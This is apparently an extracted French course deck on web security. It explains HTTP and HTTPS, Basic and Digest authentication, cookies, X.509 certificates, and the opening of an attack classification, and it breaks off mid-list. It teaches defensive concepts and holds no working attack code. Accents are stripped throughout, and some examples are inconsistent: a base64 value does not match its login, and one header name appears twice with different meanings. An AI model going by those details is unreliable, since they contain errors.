Vous êtes sur la page 1sur 259

SCURIT WEB

Ben Farh Hdi

SCURIT WEB
Introduction au protocole HTTP
Introduction au protocole HTTPS
Classification des attaques
Architecture rseau
Qualit des dveloppements Web
Injections
XSS (Cross Site Scripting)
Gestion des sessions authentifies
Prsentation doutils
Dnis de service
Apache
Internet Information Services (IIS)

Ben Farh Hdi

PROTOCOLE HTTP
Format des requtes

Mcanismes dauthentification HTTP


Suivi de session
Les cookies et la scurit
HTTP: protocole de transport

Ben Farh Hdi

HTTP : HyperText Transfert Protocol (RFC 1945 et 2068)


protocole de rapatriement des documents
protocole de soumission de formulaires

Fonctionnement :
Connexion
demande (GET) dun document
renvoi du document (status=200) ou dune erreur
dconnexion

Ben Farh Hdi

Ben Farh Hdi

TYPE DE DIALOGUE
Rcupration dun document
* mthode GET
Soumission dun formulaire
* mthode GET ou POST
Envoi de document et Gestion de Site

* mthode PUT, DELETE, LINK, UNLINK


Gestion de proxy/cache
* mthode HEAD (rcupration des informations sur le document

Ben Farh Hdi

DIALOGUE HTTP
Exemple de requte HTTP (mthode POST)

Ben Farh Hdi

REQUTE HTTP (I)


Une requte HTTP est un ensemble de lignes envoy au serveur par le navigateur.
Elle comprend :
Une ligne de requte: c'est une ligne prcisant le type de document demand, la
mthode qui doit tre applique, et la version du protocole utilise. La ligne comprend
trois lments devant tre spars par un espace :
La mthode
L'URL
La version du protocole utilis par le client (gnralement HTTP/1.0)

Ben Farh Hdi

REQUTE HTTP (II)


Les champs d'en-tte de la requte: il s'agit d'un ensemble de lignes facultatives
permettant de donner des informations supplmentaires sur la requte et/ou le client
(Navigateur, systme d'exploitation, ...).

Chacune de ces lignes est compose d'un nom qualifiant le type d'en-tte, suivi de
deux points (:) et de la valeur de l'en-tte

Ben Farh Hdi

REQUTE HTTP (III)


Le corps de la requte: c'est un ensemble de lignes optionnelles devant tre
spares des lignes prcdentes par une ligne vide et permettant par exemple un
envoi de donnes par une commande POST lors de l'envoi de donnes au serveur
par un formulaire

Ben Farh Hdi

REQUTE HTTP (IV)


Une requte HTTP a donc la syntaxe suivante (<crlf> signifie retour chariot ou saut
de ligne) :
METHODE URL VERSION<crlf>
EN-TETE : Valeur<crlf>
.
.
.
EN-TETE : Valeur<crlf>
Ligne vide<crlf>
CORPS DE LA REQUETE

Ben Farh Hdi

REQUTE HTTP (V)


Voici donc un exemple de requte HTTP :
GET http://www.SiteCible.net HTTP/1.0
Accept : text/html
If-Modified-Since : Sunday, 26-October-2008 14:37:11 GMT
User-Agent : Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)

Ben Farh Hdi

FORMAT DE LA REQUTE
Envoye par le client au serveur

<Mthode><URI> HTTP/<Version>
[<Champ dentte>: <Valeur>]
[<tab><Suite valeur si > 1024>]
Ligne Blanche
[Corps de la requte pour la mthode POST]

Ben Farh Hdi

MTHODES DE LA REQUTE
GET
Renvoie le contenu du document
indiqu, peut placer des paramtres
dans lentte de la requte

POST
Demande un document comme GET, peut
traiter le document comme sil tait un script
et lui envoi des donnes, peut placer des
paramtres

TRACE
Demande au serveur de retourner le
document envoy sans le changer, elle
est utilise pour dbugger

PUT
Inscrit des donnes dans le
contenu du document

CONNECT
Demande une connexion au serveur relais
pour tablir une communication via un
tunnel (exemple SSL)

HEAD
Retourne linformation de lentte du
document (Taille de fichier, date de
modification, version du serveur)

OPTIONS
Demandes des informations sur les
options disponibles sur communication

DELETE
Efface le document indiqu

Ben Farh Hdi

Requte envoye par le client au serveur

Ben Farh Hdi

Nom de lentte

Description

Accept

Type de contenu accept par le browser (par exemple


text/html).

Accept-Charset

Jeu de caractres attendu par le browser

Accept-Encoding

Codage de donnes accept par le browser

Accept-Language

Langage attendu par le browser (anglais par dfaut)

Authorization

Identification du browser auprs du serveur

Content-Encoding

Type de codage du corps de la requte

Content-Language

Type de langage du corps de la requte

Content-Length

Longueur du corps de la requte

Content-Type

Type de contenu du corps de la requte (par exemple


text/html).

Date

Date de dbut de transfert des donnes

Forwarded

Utilis par les machines intermdiaires entre le browser et


le serveur

From

Permet de spcifier l'adresse e-mail du client

From

Permet de spcifier que le document doit tre envoy s'il a


t modifi depuis une certaine date

Link

Relation entre deux URL

Orig-URL

URL d'origine de la requte

Referer

URL du lien partir duquel la requte a t effectue

User-Agent

Chane donnant des informations sur le client, comme le


nom et la version du navigateur, du systme d'exploitation
Ben Farh Hdi

Une rponse HTTP est un ensemble de lignes envoyes au navigateur par le serveur. Elle comprend :

RPONSE HTTP (I)


Une rponse HTTP est un ensemble de lignes envoyes au navigateur par le serveur.
Elle comprend :

Une ligne de statut: c'est une ligne prcisant la version du protocole utilis et l'tat du
traitement de la requte l'aide d'un code et d'un texte explicatif. La ligne comprend
trois lments devant tre spars par un espace :
La version du protocole utilis
Le code de statut
La signification du code

Ben Farh Hdi

Le corps de la rponse: il contient le document demand

RPONSE HTTP (II)


Les champs d'en-tte de la rponse: il s'agit d'un ensemble de lignes facultatives
permettant de donner des informations supplmentaires sur la rponse et/ou le serveur.
Chacune de ces lignes est compose d'un nom qualifiant le type d'en-tte, suivi de deux
points (:) et de la valeur de l'en-tte

Le corps de la rponse: il contient le document demand

Ben Farh Hdi

RPONSE HTTP (III)

Une rponse HTTP a donc la syntaxe suivante (<crlf> signifie retour chariot ou saut de ligne) :

VERSION-HTTP CODE EXPLICATION<crlf>


EN-TETE : Valeur<crlf>
.
.
.
EN-TETE : Valeur<crlf>
Ligne vide<crlf>
CORPS DE LA REPONSE

Ben Farh Hdi

RPONSE HTTP (IV)


Voici donc un exemple de rponse HTTP :
HTTP/1.0 200 OK
Date : Sun, 26 Oct 2008 14:37:12 GMT
Server : Microsoft-IIS/2.0
Content-Type : text/HTML
Content-Length : 1245
Last-Modified : Fri, 24 Oct 2008 08:25:13 GMT

Ben Farh Hdi

FORMAT DE LA RPONSE
Envoye par le serveur au client

HTTP/<Version> <Status> <Commentaire Status>


Content-Type: <Type MIME du contenu>
[<Champ dentte>:<Valeur >]
[<tab><Suite valeur si > 1024>]
Ligne Blanche
Document

Ben Farh Hdi

Rponse envoye par le serveur au client

Ben Farh Hdi

STATUS DES RPONSES HTTP


(Code de rponse donn par le serveur au client)

100 199

Informationnel

100 : Continue (le client peut envoyer la suite de la requte)

200 299

Succs de la requte client

200 : Ok, 201 : Created, 204 : No Content .

300 399

Redirection de la requte client

301 : Redirection, 302 : Found, 304 : Not Modified, 305 : Use proxy

400 499

Requte client incomplte

400 : Bad Request , 401 : Unauthorized, 403 : Forbidden, 404 : Not Found

500 599

Erreur Serveur

500 : Server Error, 501 : Not Emplemented , 502 : Bad Gateway, 503 : Service unavailable
Ben Farh Hdi

Une rponse HTTP est un ensemble de lignes envoyes au navigateur par le serveur. Elle comprend :

MCANISMES DAUTHENTIFICATION HTTP

Le protocole HTTP est un protocole client/serveur, sans tat.


La spcification du protocole HTTP dans sa version 1.1 est dcrite
dans la RFC 2616 [1].
Deux mthodes d'authentification HTTP, dites Basic et Digest, sont dcrites
dans la RFC 2617 [2].
Les accrditations sont transmises du client vers le serveur via
les enttes HTTP, elles authentifient les requtes effectues par
le client individuellement (lorsque le keep-alive est utilis,
les diffrentes requtes effectues sur la mme connexion TCP sont
chacune authentifies).

Ben Farh Hdi

Principe Gnral

Ben Farh Hdi

Authentification HTTP Basic

Authentification HTTP Basic


Authentification du client

La mthode d'authentification dite HTTP Basic ne met en uvre aucun


service de confidentialit quant la transmission des accrditations au serveur.
Il s'agit d'une mthode communment employe, conjointement au protocole
SSL/TLS.

Ben Farh Hdi

Le mcanisme est le suivant :

Le mcanisme est le suivant :

a. Le client met une requte destination d'une ressource protge, le rpertoire


identifi par l'URI /basic par exemple.
La requte simple correspondante est :
GET /basic/ HTTP/1.0

b. Le serveur rpond avec le code d'erreur 401 (Unauthorized), et sa rponse


comporte l'entte WWW-authenticate, spcifiant le type d'authentifcation
attendue :
HTTP/1.1 401 Authorization Required
WWW-Authenticate: Basic realm="Basic realm
La mthode "Basic" ne requiert que le paramtre "realm" identifiant le domaine
de protection.
Ben Farh Hdi

d. Le serveur renvoie la page protge (HTTP/1.1 200 OK).

c. L'entte renvoy par le serveur est interprt par le navigateur.


Celui-ci prsente une fentre l'utilisateur, l'invitant entrer ses accrditations.
Le navigateur ritre la prcdente requte, en intgrant l'entte Authorization,
suivie de la concatnation du nom d'utilisateur, de ":" et du mot de passe,
le tout encod en base64.

Par exemple, pour la paire login/mot de passe foulen:secret :


$ echo -n foulen:secret' | openssl enc -a -e ZHVtbXk6c2VjcmV0

La requte rsultante est donc la suivante :


GET /basic/ HTTP/1.1 Authorization: Basic ZHVtbXk6c2VjcmV0

d. Le serveur renvoie la page protge (HTTP/1.1 200 OK).


Ben Farh Hdi

127.0.0.1 - dummy [30/Jan/2003:13:40:50 +0100] "GET /basic/ HTTP/1.0" 200


820 "-" " ""w3m/0.3.1+cvs-1.411""

Au niveau des journaux, la ligne suivante est gnre :

127.0.0.1 - Foulen [26/Oct/2008:13:40:50 +0100] "GET /basic/ HTTP/1.1" 200


820 "-" " ""w3m/0.3.1+cvs-1.411""

Cette ligne indique que l'utilisateur Foulen' a accd avec succs au


rpertoire /basic (code 200).

Remarques :
lorsqu'un login apparemment inconnu apparat dans les journaux, penser
regarder le code de retour correspondant

Ben Farh Hdi

Authentification HTTP Digest


Authentification du client

La mthode d'authentification dite HTTP Digest met en uvre un service


de confidentialit pour les accrditations, mais pas pour les donnes
transfres (ct client, comme ct serveur). Elle introduit des mcanismes
contre le rejeu, et protge le client contre un serveur malveillant,
ou potentiellement corrompu, dans la mesure o les accrditations ne sont
jamais connues par ce dernier.

Ben Farh Hdi

Il s'agit d'un mcanisme de type challenge/response , jou pour chaque


ressource demande :
trs simplement, le serveur envoie un challenge au client, ce dernier rpond par
une valeur drive de ce challenge et d'un secret qu'il partage avec le serveur.
Le serveur s'assure alors que le client possde effectivement le secret en
calculant son tour la rponse et vrifiant la cohrence des deux.

Ben Farh Hdi

Le mcanisme, dans le cas le plus simple (authentification sans intgrit),


est le suivant :
a. Comme prcdemment, le client met une requte destination
d'une ressource protge, identifie par son URI :
GET /digest/ HTTP/1.1
b. La rponse du serveur,est comme suit :
HTTP/1.1 401 Authorization Required
WWW-Authenticate: Digest realm="Digest Realm",
nonce="uD85Pg==a766f996fa716e4d4592943b5762c73958f0378b",
algorithm=MD5,domain="/digest", qop="auth"
Elle comporte, notamment :
- un challenge ( nonce )
- un identifiant d'algorithme ( algorithm ) :
la fonction de hachage MD5, dans ce cas Pour chaque page
protge, le client va calculer une rponse partir de ces
paramtres en utilisant son mot de passe. En pratique,
le challenge n'est pas renouvel chaque requte
ce qui limite le non-rejeu.
Ben Farh Hdi

c. Le client calcule en rponse l'empreinte qui sera mise via l'entte


Authorization, comme lors d'une authentification de type Basic

RFC2617 - HTTP Authentication: Basic and Digest Access Authentication


http://www.faqs.org/rfcs/rfc2617.html

Ben Farh Hdi

Les paramtres sont spars par une virgule et sont les suivants :

realm

Ce paramtre est affich l'utilisateur pour qu'il sache quel nom et mot de passe il
peut utiliser. La chane doit au moins contenir le nom de la machine et le nom du
groupe d'utilisateurs requis.

domain

(optionnel) Contient une liste d'URI spars par le caractre espace, dfinissant le
domain de protection. Ce paramtre donne la liste des URI pour lesquels l'utilisateur
demand est valable.

nonce

Chane gnre par le serveur chaque rponse 401. Il est conseill que cette
chane utilise les caractres Base64 ou hexadcimaux. Ce paramtre est utilis
dans le calcul de la rponse du client.
opaque
(optionnel) Chane gnre par le server que le client doit retourner tel quel.

stale
(optionnel) Ce paramtre a 2 valeurs possibles : true ou false. Il vaut true si la
demande d'identification prcdente a t rejete seulement cause de l'utilisation
d'une ancienne valeur du paramtre "nonce", false sinon. La valeur true indique
que le client doit retenter la requte en utilisant la nouvelle valeur de nonce fournie
par le serveur sans redemander un nom et un mot de passe l'utilisateur.

algorithm

qop

(optionnel) Indique l'algorithme utiliser pour les fonctions de hashages.


Deux valeurs sont dfinis dans [RFC 2617] : MD5 ou MD5-sess.
(optionnel) (Quality Of Protection) Ce paramtre indique les niveaux de protection
supports : auth ou auth-int.

Suivi de Session Authentifie

Dans le cas de l'authentification de type Basic , le suivi de session est


ralis par la retransmission systmatique des accrditations ( chacune des

requtes).

Ben Farh Hdi

Le protocole HTTP est un protocole non connect (on parle aussi de protocole
sans tats, en anglais stateless protocol), cela signifie que chaque requte est
traite indpendamment des autres et qu'aucun historique des diffrentes
requtes n'est conserv.
Ainsi le serveur web ne peut pas se "souvenir" de la requte prcdente, ce qui
est dommageable dans des utilisations telles que le e-commerce, pour lequel le
serveur doit mmoriser les achats de l'utilisateur sur les diffrentes pages.
Il s'agit donc de maintenir la cohsion entre l'utilisateur et la requte, c'est--dire :
reconnatre les requtes provenant du mme utilisateur

associer un profil l'utilisateur


connatre les paramtres de l'application (nombre de produits vendus, ...)
On appelle ce mcanisme de gestion des tats le suivi de session (en anglais

session tracking).
Ben Farh Hdi

Les mthodes traditionnelles de suivi de session


Il existe une mthode (pouvant se dcliner en plusieurs variantes) permettant d'assurer
le suivi de session :
Elle consiste stocker les informations concernant l'utilisateur sur le serveur, et de les
relier chaque requte grce un identifiant (gnralement appel id) prsent dans la
requte et sur le serveur.
Il existe plusieurs faons standards (utilises dans tous les types de technologies ct
serveur) de passer l'identifiant en paramtre dans la requte :
Les mthodes traditionnelles de suivi de session
En changeant des donnes d'identification du client entre chaque requte

en ajoutant l'URL des variables d'identification

en passant en paramtre un champ de formulaire cach

en utilisant les cookies

En demandant l'identification de l'utilisateur chaque requte

Ben Farh Hdi

Les informations concernant l'utilisateur sont stockes sur le serveur dans un


objet persistant, nomm HttpSession. Il permet de stocker les informations saisies
au fur et mesure par l'utilisateur et de les relier chaque requte grce
l'identifiant pass en paramtre.
Il est commun dans le langage e-business de faire l'analogie avec un caddie
(parfois shopping cart ou shopping basket) pour dsigner ce systme de suivi de
session.

Ben Farh Hdi

Rcriture d'URL
La mthode de rcriture d'URL consiste passer des paires cl/valeur en paramtre
dans l'URL. Ainsi, en passant en paramtre un identificateur unique de session,
il est possible de le relier aux donnes stockes sur le serveur.

Toutes les URL dans les pages web du serveur ressembleront donc quelque chose
comme ceci (dans cet exemple purement fictif, l'id de session est 674684641) :
<a href="http://serveur/servlet/exemple?id=674684641">Lien hypertexte</a>

Ben Farh Hdi

Champ de formulaire cachs


La technique consistant passer en paramtre un champ de formulaire contenant
l'identifiant de session est similaire, la diffrence prs que les donnes sont
envoyes par la mthode POST (plus sre) :
<Input type="hidden" name="id" value="674684641">

Cette mthode implique par contre l'utilisation systmatique d'un formulaire


(clic sur un bouton submit pour passer d'une page une autre).

Ben Farh Hdi

Utilisation de cookies
Les cookies sont des petits fichiers textes stocks sur le disque du client, permettant
de stocker des paires cls/valeur. Les cookies concernant le domaine du site sur lequel
un utilisateur surfe sont automatiquement envoys dans les en-ttes HTTP lors de
chaque requte du client.
D'autre part, lorsque le serveur dsire crer un cookie sur le navigateur du client, il lui
suffit d'envoyer des instructions dans les en-ttes de la rponse HTTP.
Le JSDK fournit une classe permettant de grer de faon transparente les cookies,
il s'agit de la classe Cookie.
Ainsi il est possible de stocker un identifiant de session de la manire suivante :
// Creation du cookie
Cookie C = new Cookie("id","674684641");
// definition de la limite de validite
C.setMaxAge(24*3600);
// envoi du cookie dans la reponse HTTP
res.addCookie(C);

Ben Farh Hdi

Ce mcanisme est le plus intressant pour stocker de petites informations.


Toutefois l'utilisation de cookies pose quelques problmes :
Des utilisateurs dsactivent les cookies par crainte
Certains anciens navigateurs ne grent pas les cookies

Ben Farh Hdi

Grer les sessions


La gestion des session se fait de la manire suivante :

Obtenir l'ID de session


Si GET: en regardant dans la requte
Si POST: en regardant dans les en-ttes HTTP
Sinon dans les cookies
Vrifier si une session est associ l'ID
Si la session existe, obtenir les informations
Sinon

Gnrer un ID de Session
Si le navigateur du client accepte les cookies, ajouter un cookie contenant
l'ID de session
Sinon ajouter l'ID de session dans l'URL
Enregistrer la session avec l'ID nouvellement cr

Ben Farh Hdi

Les Cookies et la scurit


Le problme majeur des cookies relve des informations qu'ils contiennent.
En effet, lorsqu'un utilisateur se connecte un site personnalisable, celui-ci va lui poser
quelques questions afin de dresser son profil, puis stocker ces donnes dans un cookie.
Selon le site, la manire de laquelle l'information est stocke peut s'avrer nuisible
l'utilisateur.

Un cookie est ainsi un mcanisme prvu pour crer une association entre la session de
l'utilisateur (navigation entre des pages d'un mme site pendant une priode donne)
et les donnes le concernant.

Ben Farh Hdi

le cookie doit contenir une chane alatoire (identifiant de session) unique et difficilement
devinable, valide uniquement pendant un temps donn.
Seul le serveur doit pouvoir tre en mesure d'associer les prfrences de l'utilisateur
cet identifiant.
Ainsi, aprs expiration du cookie l'identifiant de session sera inutile et le cookie ne
contiendra aucune information concernant l'utilisateur.

Ben Farh Hdi

Fonctionnement des cookies


Les cookies font partie des spcifications du protocole HTTP.
Le protocole HTTP permet d'changer des messages entre le serveur et le client l'aide
de requtes et rponses HTTP.
Les requtes et rponses HTTP contiennent des en-ttes permettant d'envoyer des
informations particulires de faon bilatrale. Un de ces en-ttes est rserv l'criture
de fichiers sur le disque dur : les cookies.
L'en-tte HTTP rserv l'utilisation des cookies s'appelle Set-Cookie, il s'agit d'une
simple ligne de texte de la forme :
Set-Cookie : NOM=VALEUR; domain=NOM_DE_DOMAINE; expires=DATE

Ben Farh Hdi

Grer les cookies


Les cookies sont des marques de votre passage sur les sites internet.
Certains ne stockent que le mot de passe et le "login" correspondant un site tandis
que d'autres enregistrent davantage d'informations, gnralement vos prfrences de
connexion et/ou des rfrences de facturation (adresses, tlphone, e-mail, ...etc ...).

Par scurit, vous pouvez effacer ces traces. Nanmoins, il peut tre opportun de
garder les cookies de sites souvent visits pour avoir une navigation plus rapide.
Dans ce cas, le choix des cookies dtruire doit se faire un par un.

Ben Farh Hdi

Pour Mozilla FireFox

Vous allez dans :


dition
Prfrence
Confidentialit (vie prive)
Cookies
Voir les cookies.
Ds lors ( valable en messagerie et navigateur ) :
soit effacer tous les cookies,
soit effacer le cookie.

Ben Farh Hdi

Pour Opera

Vous allez dans :


Outils
Prfrences
Onglet "Avanc"
Rubrique "Cookies"
Cliquer sur "Grer les cookies"
Ds lors, vous supprimez l'un aprs l'autre vos cookies

Ben Farh Hdi

Pour Internet Explorer


Suppression en vrac
Vous allez dans :
Outils
Options internet
Supprimer les cookies

Suppression au cas par cas


Vous allez dans votre poste de travail :
disque C
documents and settings
"le nom de votre pc "
cookies

Vous allez voir une liste de cookies :


slectionnez
supprimez
Ben Farh Hdi

HTTP : Protocole de transport


Le schma qui suit essaie de montrer o se situent divers protocoles de la pile
TCP/IP dans le modle OSI :

Application

ex. HTTP, SMTP, SNMP, FTP, Telnet, NFS

Prsentation

ex. XDR, ASN.1, SMB, AFP

Session

Transport

Rseau

ex. IP (IPv4 ou IPv6), ICMP, IGMP, X.25, CLNP, ARP, OSPF,


RIP, IPX, DDP

Liaison

ex. Ethernet, Token Ring, PPP, HDLC, Frame relay, RNIS


(ISDN), ATM, Wi-Fi,
Bluetooth, ZigBee]

Physique

ex. ISO 8327 / CCITT X.225, RPC, Netbios, ASP


ex. TCP, UDP, RTP, SPX, ATP

ex. techniques de codage du signal (lectronique, radio,


laser, ) pour la
transmission des informations sur les rseaux physiques
(rseaux filaires, optiques, radiolectriques )
Ben Farh Hdi

Habituellement, les trois couches suprieures du modle OSI (Application,


Prsentation et Session) sont considres comme une seule couche Application dans
TCP/IP.
Une version simplifie de la pile selon le modle TCP/IP est prsente ci-aprs :

Application
couche 7

ex. HTTP, FTP, DNS

ex. TCP, UDP, RTP


4

Transport
Pour TCP/IP il s'agit de IP,

Rseau

Liaison

ex. Ethernet, Token Ring, etc.

Physique

ex. la boucle locale (transmission par modulation sur lignes


analogiques : lignes tlphoniques RTC, numriques, ADSL ),
les grandes artres de communication (transmission par
multiplexage, commutation, ), les rseaux de
radiocommunication (radio, tlphonie sans fil, satellite, )

Ben Farh Hdi

PROTOCOLE HTTPS
Prsentation

Mcanismes dauthentification
Authentification par certificats X.509

Ben Farh Hdi

Le protocole de communication couramment utilis dans le monde Web


est le HTTP , qui napporte aucune garantie de confidentialit.
On effet, il est trs simple pour un pirate dintercepter les demandes
et les rponses faites par le serveur. En outre, vous ntes pas sr
de consulter le site que vous pensez.
Pour un change scuris des informations, le protocole HTTPS est utilis:

HTTPS = HTTP + SSL


HTTPS

CIA

Lors dune ngociation SSL, il faut sassurer de la personne avec qui on communique

Ben Farh Hdi

HTTPS (avec S pour secured, soit scuris ) est la simple combinaison de HTTP
avec SSL ou TLS.
Il permet au visiteur de vrifier l'identit du site auquel il accde grce
un certificat d'authentification.
Il garantit la confidentialit et l'intgrit des donnes envoyes par l'utilisateur
(notamment des informations entres dans les formulaires) et reues du serveur.
Il est gnralement utilis pour les transactions financires en ligne :
commerce lectronique, banque en ligne, courtage en ligne, etc. Il est aussi utilis pour
la consultation de donnes prives, comme les courriers lectroniques par exemple.

Le port par dfaut de HTTPS est 443.

Ben Farh Hdi

Communications scurises
Fonctionnement de SSL
2
Navigateur
scuris

Certificat racine
du serveur Web

Message
Serveur Web
scuris

4
1

HTTPS

L'utilisateur accde un serveur Web scuris via le protocole HTTPS

Le navigateur cre une cl de session unique et la crypte au moyen


de la cl publique du serveur Web, gnre partir du certificat racine

Le serveur Web reoit la cl de session et la dcrypte en utilisant


la cl prive du serveur

Une fois la connexion tablie, toutes les communications entre


le navigateur et le serveur Web sont scurises
Ben Farh Hdi

Mcanismes dauthentification HTTPS


L'utilisation de HTTPS pour envoyer les messages garantit l'authentification des
utilisateurs qui ncessitent un accs aux ressources Message Queuing par
l'intermdiaire d'un serveur Web ; pour cela, une connexion SSL
(Secure Sockets Layer) est tablie afin de scuriser la communication entre
l'expditeur et le destinataire.
L'expditeur est toujours considr comme le client SSL, et le destinataire comme le
serveur SSL, que les ordinateurs excutent un serveur Message Queuing ou un logiciel
client.
Remarquez que l'authentification dans le but d'tablir une session SSL n'est pas
la mme que l'authentification des messages, laquelle vrifie qu'un message n'a pas
t falsifi et peut tre utilis pour vrifier l'identit de l'expditeur du message

Ben Farh Hdi

Deux types de certificats sont utiliss dans l'authentification HTTPS :

Les certificats de serveur: Ces certificats contiennent des informations sur le serveur
qui autorise un client identifier le serveur avant de partager des informations sensibles.
Les certificats client: Ces certificats contiennent des informations personnelles sur
l'utilisateur et identifient le client SSL (l'expditeur) auprs du serveur.

Ben Farh Hdi

Le certificat serveur install sur un serveur web permet d'assurer le lien entre le service
et le propritaire du service. Dans le cas d'un site web, il permet de garantir que lURL et
en particulier le domaine de la page web appartiennent bien telle ou telle entreprise.
Par ailleurs il permet de scuriser les transactions avec les utilisateurs grce au protocole
SSL.

Le certificat client, stock sur le poste de travail de l'utilisateur ou embarqu dans un


conteneur tel qu'une carte puce, permet d'identifier un utilisateur et de lui associer des
droits.
Dans la plupart des scnarios il est transmis au serveur lors d'une connexion, qui affecte
des droits en fonction de l'accrditation de l'utilisateur. Il s'agit d'une vritable carte
d'identit numrique utilisant une paire de cl asymtrique d'une longueur de
512 1024 bits.

Ben Farh Hdi

Structure dun certificat


Les certificats sont des petits fichiers diviss en deux parties :
La partie contenant les informations
La partie contenant la signature de l'autorit de certification

La structure des certificats est normalise par le standard X.509 de lUIT


(plus exactement X.509v3), qui dfinit les informations contenues dans le certificat :

Union internationale des tlcommunications (UIT)

Ben Farh Hdi

Certificat X.509
Dans le systme X.509, une autorit de certification attribue un certificat liant une cl
publique un nom distinctif (Distinguished Name), une adresse e-mail ou un
enregistrement DNS.
Les certificats racines sont des cls publiques non signes, ou auto-signes, mais dignes
de confiance. Des autorits de certification commerciales dtiennent des certificats
racines prsents dans de nombreux logiciels, par exemple les navigateurs.
Internet Explorer ou Firefox contiennent quelques certificats racines prinstalls.
Quand le navigateur ouvre une connexion scurise (SSL) un site ayant achet une
certification auprs d'une autorit connue, il considre que le site est sr, et le passage
en mode scuris est transparent.
Si le certificat est auto-sign (autorit de certification et crateur de la cl publique ne
font qu'un), le navigateur propose de l'examiner, puis de l'accepter ou de le refuser selon
la confiance qu'on lui accorde.
La dure de validit des certifications commerciales n'est pas infinie, elles expirent
souvent au bout d'un an et doivent tre renouveles.

Ben Farh Hdi

La version de X.509 laquelle le certificat correspond ;


Le numro de srie du certificat ;
L'algorithme de chiffrement utilis pour signer le certificat ;
Le nom (DN, pour Distinguished Name) de l'autorit de certification mettrice ;
La date de dbut de validit du certificat ;

La date de fin de validit du certificat ;


L'objet de l'utilisation de la cl publique ;
La cl publique du propritaire du certificat ;
La signature de l'metteur du certificat (thumbprint).

Ben Farh Hdi

L'ensemble de ces informations (informations + cl publique du demandeur) est sign


par l'autorit de certification, cela signifie qu'une fonction de hachage cre une empreinte
de ces informations, puis ce condens est chiffr l'aide de la cl prive de l'autorit de
certification; la cl publique ayant t pralablement largement diffuse afin de permettre
aux utilisateurs de vrifier la signature avec la cl publique de l'autorit de certification.
Certificat
Informations
- Autorit de certification : verisign
- Nom du propritaire : Foulen
- Email : webmaster@foulen.net
- Validit : 26/12/2008 au 26/12/2009
- Cl publique : 1a:5b:c3:a5:32:4c:d6:df:42
- Algorithme : RC5

Hach

Signature
3b:c5:cf:d6:9a:bd:e3:c6

Cl prive
de lAC

Ben Farh Hdi

Exemples d'Autorits de certification

Thawte
Certigna
Certinomis
Keynectis
Entrust,
Verisign
GlobalSign
ChamberSign,
TBS X509,
CAcert
Gandi.net
OVH

Ben Farh Hdi

Lorsqu'un utilisateur dsire communiquer avec une autre personne, il lui suffit de se
procurer le certificat du destinataire. Ce certificat contient le nom du destinataire, ainsi
que sa cl publique et est sign par l'autorit de certification. Il est donc possible de

vrifier la validit du message en appliquant d'une part la fonction de hachage aux


informations contenues dans le certificat, en dchiffrant d'autre part la signature de
l'autorit de certification avec la cl publique de cette dernire et en comparant ces deux
rsultats.

Ben Farh Hdi

Certificat
Informations
- Autorit de certification : verisign
- Nom du propritaire : Foulen
- Email : webmaster@foulen.net
- Validit : 26/12/2008 au 26/12/2009
- Cl publique : 1a:5b:c3:a5:32:4c:d6:df:42
- Algorithme : RC5

Hach

=?

Signature
3b:c5:cf:d6:9a:bd:e3:c6

Dchiffrement avec la cl publique


de lAC

Ben Farh Hdi

Signatures de certificats
On distingue diffrents types de certificats selon le niveau de signature :
Les certificats auto-signs sont des certificats usage interne. Signs par un serveur
local, ce type de certificat permet de garantir la confidentialit des changes au sein
d'une organisation, par exemple pour le besoin d'un intranet. Il est ainsi possible
d'effectuer une authentification des utilisateurs grce des certificats auto-signs.

Les certificats signs par un organisme de certification sont ncessaires lorsqu'il


s'agit d'assurer la scurit des changes avec des utilisateurs anonymes, par exemple
dans le cas d'un site web scuris accessible au grand public. Le certificateur tiers
permet d'assurer l'utilisateur que le certificat appartient bien l'organisation laquelle
il est dclar appartenir.

Ben Farh Hdi

CLASSIFICATION DES ATTAQUES


Les attaques portent sur divers faiblesses, ce qui conduit une classification :

o Dfauts dimplmentation dans les logiciels


o Dfauts de conception dans des protocoles
o Dfauts dauthentification conduisant des possibilits dusurpation
o Dfauts de contrle dintgrit conduisant des possibilits de modification

Ben Farh Hdi

CLASSIFICATION DES ATTAQUES

Authentification
Authorization
Client Side Attack
Command Execution
Information disclosure
Logical Attacks

Ben Farh Hdi

Authentification

Cette section couvre les attaques ciblant la mthode de validation de


lidentit dun utilisateur, dun service, ou dune application, utilis par
lapplication web.

Ben Farh Hdi

Brute Force:
Processus automatis "d'essai et d'erreur" utilis pour deviner le login
d'une personne, son mot de passe, le numro de carte de crdit, ou une
cl cryptographique.
1

Normal:

Login

2 types:

Mot de passe
N

Renvers:

Login

Mot de passe

Exemple:
Username = Ali
Passwords = Good, Toto-tata, [pet names], [birthdays],
[car names], .
Usernames = Ali, Sami, lotfi, Sarra, Alia, ..
Password = 12345678

Ben Farh Hdi

Insufficient Authentification:
Cest le fait de permettre un attaquant d'accder des contenus ou des
fonctionnalits critiques sans pour autant tre authentifi. Ceci est d au
fait que certaines ressources sont protges juste en "cachant" leur
emplacement et de ne pas les lier aucune page du site web, cette
approche pour la scurit est dite Security Through Obscurity.

Exemple:
Beaucoup d'applications Web ont t conues avec des fonctionnalits
dadministration distance, des fonctionnalits se trouvant hors du
rpertoire racine (/ admin /).
Gnralement, ce rpertoire nest li aucune des pages du site.
Par contre, cet emplacement reste accessible en utilisant le navigateur.

Ben Farh Hdi

Weak Password Recovery Validation


Cette faille permet un attaquant d'obtenir illgalement, changer ou
recouvrir le mot de passe d'une autre personne.
Exemple:
Vrification des informations: De nombreux sites Web ne demandent l'utilisateur que
de fournir son adresse e-mail en combinaison avec son adresse postal et/ou son numro
de tlphone (Ces informations peuvent tre facilement obtenues partir de n'importe
quelle page blanche en ligne).

Hint de Mot de passe: Les indices affichs par un site web servent aider l'utilisateur
se rappeler de son mot de passe . Un utilisateur peut ainsi avoir un bon mot de passe
"122277King" (alphanumrique) mais avec un correspondant hint Anniv+ fav auteur
Question secrte: Un mot de passe utilisateur pourrait tre Paris avec une question
secrte "O tiez-vous n".

Ben Farh Hdi

Authorization

Attaques ciblant la mthode utilise par une application web pour


dterminer si un utilisateur, un service, ou une application a les
autorisations ncessaires pour effectuer une action demande.

Ben Farh Hdi

Credential/ Session Prediction:


Mthode de dtournement ou usurpation de l'identit d'un utilisateur de
site web en calculant ou utilisant la brute force pour avoir la prochaine ID
de session ce qui permet un attaquant daugmenter ses privilges
daccs dans lapplication web.
Illustration de cas:
Les ID de session sont souvent stocks soit dans une cookie, champ cach,
ou lURL. Si lattaquant arrive dterminer lalgorithme utilis pour gnrer
lID de session, il peut procder comme suite:
1.
2.
3.
et

Connexion lapplication web et acqurir lID de session.


Calculer lID de session suivant
